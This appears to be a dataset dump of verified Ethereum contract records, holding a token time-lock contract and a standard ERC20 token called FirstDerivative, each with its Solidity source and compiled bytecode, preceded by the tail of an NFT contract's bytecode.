60a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054612b5890613ca4565b90600052602060002090601f016020900481019282612b7a5760008555612bc0565b82601f10612b9357805160ff1916838001178555612bc0565b82800160010185558215612bc0579182015b82811115612bc0578251825591602001919060010190612ba5565b50612bcc929150612bd0565b5090565b5b80821115612bcc5760008155600101612bd1565b600067ffffffffffffffff831115612bff57612bff613d3a565b612c12601f8401601f1916602001613b93565b9050828152838383011115612c2657600080fd5b828260208301376000602084830101529392505050565b80356106ee81613d50565b803563ffffffff811681146106ee57600080fd5b600060208284031215612c6d578081fd5b813561250a81613d50565b60008060408385031215612c8a578081fd5b8235612c9581613d50565b91506020830135612ca581613d50565b809150509250929050565b600080600060608486031215612cc4578081fd5b8335612ccf81613d50565b92506020840135612cdf81613d50565b929592945050506040919091013590565b60008060008060808587031215612d05578081fd5b8435612d1081613d50565b93506020850135612d2081613d50565b925060408501359150606085013567ffffffffffffffff811115612d42578182fd5b8501601f81018713612d52578182fd5b612d6187823560208401612be5565b91505092959194509250565b60008060408385031215612d7f578182fd5b8235612d8a81613d50565b915060208301358015158114612ca5578182fd5b60008060408385031215612db0578182fd5b8235612dbb81613d50565b946020939093013593505050565b60006020808385031215612ddb578182fd5b823567ffffffffffffffff80821115612df2578384fd5b818501915085601f830112612e05578384fd5b813581811115612e1757612e17613d3a565b8381029150612e27848301613b93565b8181528481019084860184860187018a1015612e41578788fd5b8795505b83861015612e6f5780359450612e5a85613d50565b84835260019590950194918601918601612e45565b5098975050505050505050565b600060208284031215612e8d578081fd5b5035919050565b600060208284031215612ea5578081fd5b813561250a81613d65565b600060208284031215612ec1578081fd5b815161250a81613d65565b600060208284031215612edd578081fd5b813567ffffffffffffffff811115612ef3578182fd5b8201601f81018413612f03578182fd5b61206a84823560208401612be5565b600060208284031215612f23578081fd5b5051919050565b600080600080600060808688031215612f41578283fd5b853594506020860135935060408601359250606086013567ffffffffffffffff80821115612f6d578283fd5b818801915088601f830112612f80578283fd5b813581811115612f8e578384fd5b8960208083028501011115612fa1578384fd5b9699959850939650602001949392505050565b600060208284031215612fc5578081fd5b61250a82612c48565b60008060008060808587031215612fe3578182fd5b612fec85612c48565b9350612ffa60208601612c48565b925061300860408601612c48565b915061301660608601612c48565b905092959194509250565b60008060008060008060008060008060006101408c8e031215613042578889fd5b61304b8c612c48565b9a5061305960208d01612c48565b995061306760408d01612c48565b985061307560608d01612c48565b975061308360808d01612c48565b965061309160a08d01612c48565b955060c08c013567ffffffffffffffff808211156130ad578687fd5b818e0191508e601f8301126130c0578687fd5b8135818111156130ce578788fd5b8f60206040830285010111156130e2578788fd5b60208301975080965050505060e08c013592506131026101008d01612c3d565b91506101208c013590509295989b509295989b9093969950565b60006020828403121561312d578081fd5b813560ff8116811461250a578182fd5b6000815180845260208085019450808401835b8381101561318b57815180516001600160a01b0316885283810151848901526040908101519088015260609096019590820190600101613150565b509495945050505050565b600081518084526131ae816020860160208601613c78565b601f01601f19169290920160200192915050565b600081516131d4818560208601613c78565b9290920192915050565b64173539b7b760d91b815260050190565b646a736f6e2f60d81b815260050190565b918252602082015260400190565b825460009081906002810460018083168061322a57607f831692505b602080841082141561324a57634e487b7160e01b87526022600452602487fd5b81801561325e576001811461326f5761329b565b60ff1986168952848901965061329b565b6132788b613bbd565b885b868110156132935781548b82015290850190830161327a565b505084890196505b5050505050506132bb6132b66132b0836131ef565b866131c2565b6131de565b95945050505050565b92835260609190911b6bffffffffffffffffffffffff19166020830152603482015260540190565b6001600160a01b0391909116815260200190565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061333390830184613196565b9695505050505050565b6001600160a01b038c168152610160602082018190526000906133628382018e613196565b63ffffffff8d811660408601528c811660608601528b811660808601528a811660a086015289811660c086015288811660e0860152871661010085015283810361012085015290506133b4818661313d565b915050826101408301529c9b505050505050505050505050565b901515815260200190565b60006020825261250a6020830184613196565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201526a74206f6620626f756e647360a81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b6020808252600e908201526d0dcdee840cadcdeeaced0408aa8960931b604082015260600190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252601390820152721c1c995cd85b19481b9bdd081cdd185c9d1959606a1b604082015260600190565b6020808252601390820152721a5b9d985b1a59081b595c9adb19481c9bdbdd606a1b604082015260600190565b60208082526017908201527f7075626c69632073616c65206e6f742073746172746564000000000000000000604082015260600190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526029908201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460408201526832b73a103a37b5b2b760b91b606082015260800190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6020808252600d908201526c3737ba103932b0b6103ab9b2b960991b604082015260600190565b60208082526010908201526f31b0b63632b9103737ba1030b236b4b760811b604082015260600190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b6020808252600b908201526a1b9bc8139195081b19599d60aa1b604082015260600190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b602080825260159082015274696e76616c6964204552433230206164647265737360581b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b60208082526019908201527f65786365656473207075626c69632073616c65206c696d697400000000000000604082015260600190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b6020808252601190820152701c1d589b1a58c81cd85b1948195b991959607a1b604082015260600190565b6020808252600f908201526e1c1c995cd85b1948195e1c1a5c9959608a1b604082015260600190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252602c908201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60408201526b7574206f6620626f756e647360a01b606082015260800190565b602080825260169082015275195e18d959591cc81c195c9cdbdb985b081b1a5b5a5d60521b604082015260600190565b6020808252600f908201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b604082015260600190565b90815260200190565b63ffffffff91909116815260200190565b60405181810167ffffffffffffffff81118282101715613bb557613bb5613d3a565b604052919050565b60009081526020902090565b60008219821115613bdc57613bdc613d0e565b500190565b600063ffffffff808316818516808303821115613c0057613c00613d0e565b01949350505050565b600082613c1857613c18613d24565b500490565b6000816000190483118215151615613c3757613c37613d0e565b500290565b600082821015613c4e57613c4e613d0e565b500390565b600063ffffffff83811690831681811015613c7057613c70613d0e565b039392505050565b60005b83811015613c93578181015183820152602001613c7b565b8381111561174e5750506000910152565b600281046001821680613cb857607f821691505b60208210811415613cd957634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415613cf357613cf3613d0e565b5060010190565b600082613d0957613d09613d24565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461191a57600080fd5b6001600160e01b03198116811461191a57600080fdfe68747470733a2f2f7261772e67697468756275736572636f6e74656e742e636f6d2f5072696e63657373417065436c75622f4e465441737365742f6d61737465722fa2646970667358221220457775a2f68c37d4946d1ba0e77241f2e2f8c79d540a730bc202425c3bf5d18a64736f6c63430008000033
[ 5 ]
0xf241c5df0b5523c299d2e99b726f31ea9ab87b73
/** *Submitted for verification at Etherscan.io on 2020-08-19 */ pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract TimeLock { address public owner; //deployer uint256 currentDate;//private record of deployment date uint256 public nextDate; //public record of when tokens release address public receiver = 0x24dd6DE5dAF992eAf99Df9514efd0c63Bfc66CC9; //address to send tokens back to constructor() public { currentDate = now; //block.timestamp nextDate = now + 90 days; //90 days = 3 months owner = msg.sender; //person deploying becomes owner of contract } function withDraw(IERC20 token) public{ require(msg.sender == owner, "Only owner can call withdraw"); //person calling withdraw has to be the deployer of the contract if (now >= nextDate){ //make sure current time is greater than the 2 months since deployment uint256 balance = token.balanceOf(address(this)); //get total balance of all tokens the contract holds (token address entered when function called so it can support any token) token.transfer(receiver,balance); //send all tokens this contract holds back to the reciever address hard set above } else { revert(); //if the data isn't ready, don't execute } } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80630a67d2c7146100515780638da5cb5b14610079578063c7e410b41461009d578063f7260d3e146100b7575b600080fd5b6100776004803603602081101561006757600080fd5b50356001600160a01b03166100bf565b005b61008161022c565b604080516001600160a01b039092168252519081900360200190f35b6100a561023b565b60408051918252519081900360200190f35b610081610241565b6000546001600160a01b0316331461011e576040805162461bcd60e51b815260206004820152601c60248201527f4f6e6c79206f776e65722063616e2063616c6c20776974686472617700000000604482015290519081900360640190fd5b600254421061004c57604080516370a0823160e01b815230600482015290516000916001600160a01b038416916370a0823191602480820192602092909190829003018186803b15801561017157600080fd5b505afa158015610185573d6000803e3d6000fd5b505050506040513d602081101561019b57600080fd5b50516003546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b1580156101f657600080fd5b505af115801561020a573d6000803e3d6000fd5b505050506040513d602081101561022057600080fd5b50610229915050565b50565b6000546001600160a01b031681565b60025481565b6003546001600160a01b03168156fea2646970667358221220da93b73a48f67527af86dc134474037ac0a2b0fa874676719dd9e929bc6c70bd64736f6c63430006000033
[ 16 ]
0xf2425d8c7b5194f9c95d826bb969cf17ad88d154
pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract FirstDerivative is ERC20 { constructor() public ERC20("FirstDerivative", "FDV") { _mint(msg.sender, 60000*10**18); } }
